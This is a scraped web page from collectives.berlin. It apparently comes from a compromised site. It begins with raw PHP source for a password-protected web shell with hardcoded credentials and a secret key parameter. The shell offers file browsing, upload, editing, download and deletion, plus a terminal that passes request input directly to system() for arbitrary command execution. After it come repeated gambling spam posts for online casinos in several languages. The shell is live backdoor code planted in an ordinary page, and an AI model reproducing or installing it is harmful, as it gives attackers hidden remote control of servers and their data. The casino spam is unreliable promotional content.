if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 5 – collectives.berlin

Your digital paradise.

Category: public

  • Mostbet и его бонусы: что ждет игроков в 2026 году

    Онлайн казино стало неотъемлемой частью игровой культуры, и многие игроки ищут надежные платформы, чтобы наслаждаться азартными играми. На фоне растущего интереса к онлайн-беттингу, казино mostbet предлагает различные бонусы и акции, которые обещают улучшить игровой опыт. В 2026 году ожидания игроков будут высоки, и мы рассмотрим, что может предложить платформа для своих пользователей. Почему стоит обратить…

    Click or not…

  • Mostbet и его бонусы: что ждет игроков в 2026 году

    Онлайн казино стало неотъемлемой частью игровой культуры, и многие игроки ищут надежные платформы, чтобы наслаждаться азартными играми. На фоне растущего интереса к онлайн-беттингу, казино mostbet предлагает различные бонусы и акции, которые обещают улучшить игровой опыт. В 2026 году ожидания игроков будут высоки, и мы рассмотрим, что может предложить платформа для своих пользователей. Почему стоит обратить…

    Click or not…

  • Pin Up Casino Azərbaycan: slot oyunları ilə əyləncənizi artırın

    Online kazino dünyası genişlənməkdədir və oyunçular üçün bir çox seçim təqdim edir. Pin Up Casino Azərbaycan, slot oyunları və canlı kazino variantları ilə seçilən bir platformadır. Bu məqalədə, Pin Up Casino-nun təqdim etdiyi imkanlar, bonuslar və pin up necə başlamaq lazım olduğu haqqında müfəssəl məlumatlar təqdim edəcəyik. Beləliklə, əyləncənizi artırmaq üçün doğru yerdəsiniz! Pin Up…

    Click or not…

  • Pin Up Casino Azərbaycan: slot oyunları ilə əyləncənizi artırın

    Online kazino dünyası genişlənməkdədir və oyunçular üçün bir çox seçim təqdim edir. Pin Up Casino Azərbaycan, slot oyunları və canlı kazino variantları ilə seçilən bir platformadır. Bu məqalədə, Pin Up Casino-nun təqdim etdiyi imkanlar, bonuslar və pin up necə başlamaq lazım olduğu haqqında müfəssəl məlumatlar təqdim edəcəyik. Beləliklə, əyləncənizi artırmaq üçün doğru yerdəsiniz! Pin Up…

    Click or not…

  • Pin Up Casino Azərbaycan: slot oyunları ilə əyləncənizi artırın

    Online kazino dünyası genişlənməkdədir və oyunçular üçün bir çox seçim təqdim edir. Pin Up Casino Azərbaycan, slot oyunları və canlı kazino variantları ilə seçilən bir platformadır. Bu məqalədə, Pin Up Casino-nun təqdim etdiyi imkanlar, bonuslar və pin up necə başlamaq lazım olduğu haqqında müfəssəl məlumatlar təqdim edəcəyik. Beləliklə, əyləncənizi artırmaq üçün doğru yerdəsiniz! Pin Up…

    Click or not…

  • Pin Up Casino Azərbaycan-da bonuslardan necə maksimum yararlanmaq olar?

    Onlayn kazino dünyası, oyunçular üçün bir çox imkanlar təqdim edir və bonuslar bu imkanlardan biridir. Pin Up Casino, Azərbaycan oyunçuları üçün cəlbedici bonuslar və geniş oyun portfeli ilə seçilir. Bu yazıda, Pin Up Casino-da bonuslardan maksimum yararlanma yollarını öyrənəcəyik və qeydiyyatdan sonra sizə təqdim olunan fərqli imkanları araşdıracağıq, xüsusilə pin up casino platformasında olan unikal…

    Click or not…

  • Pin Up Casino Azərbaycan-da bonuslardan necə maksimum yararlanmaq olar?

    Onlayn kazino dünyası, oyunçular üçün bir çox imkanlar təqdim edir və bonuslar bu imkanlardan biridir. Pin Up Casino, Azərbaycan oyunçuları üçün cəlbedici bonuslar və geniş oyun portfeli ilə seçilir. Bu yazıda, Pin Up Casino-da bonuslardan maksimum yararlanma yollarını öyrənəcəyik və qeydiyyatdan sonra sizə təqdim olunan fərqli imkanları araşdıracağıq, xüsusilə pin up casino platformasında olan unikal…

    Click or not…

  • Pin Up Casino Azərbaycan-da bonuslardan necə maksimum yararlanmaq olar?

    Onlayn kazino dünyası, oyunçular üçün bir çox imkanlar təqdim edir və bonuslar bu imkanlardan biridir. Pin Up Casino, Azərbaycan oyunçuları üçün cəlbedici bonuslar və geniş oyun portfeli ilə seçilir. Bu yazıda, Pin Up Casino-da bonuslardan maksimum yararlanma yollarını öyrənəcəyik və qeydiyyatdan sonra sizə təqdim olunan fərqli imkanları araşdıracağıq, xüsusilə pin up casino platformasında olan unikal…

    Click or not…

  • Runa Casino mobile : jouer en ligne facilement avec une interface conviviale

    Les casinos en ligne connaissent une popularité croissante, et Runa Casino se distingue par son interface conviviale et sa vaste gamme de jeux. Que vous soyez un joueur novice ou expérimenté, Runa Casino offre des options adaptées à tous les goûts. Avec une licence obtenue à Anjouan (Comores), il garantit un environnement de jeu sécurisé…

    Click or not…

  • Runa Casino mobile : jouer en ligne facilement avec une interface conviviale

    Les casinos en ligne connaissent une popularité croissante, et Runa Casino se distingue par son interface conviviale et sa vaste gamme de jeux. Que vous soyez un joueur novice ou expérimenté, Runa Casino offre des options adaptées à tous les goûts. Avec une licence obtenue à Anjouan (Comores), il garantit un environnement de jeu sécurisé…

    Click or not…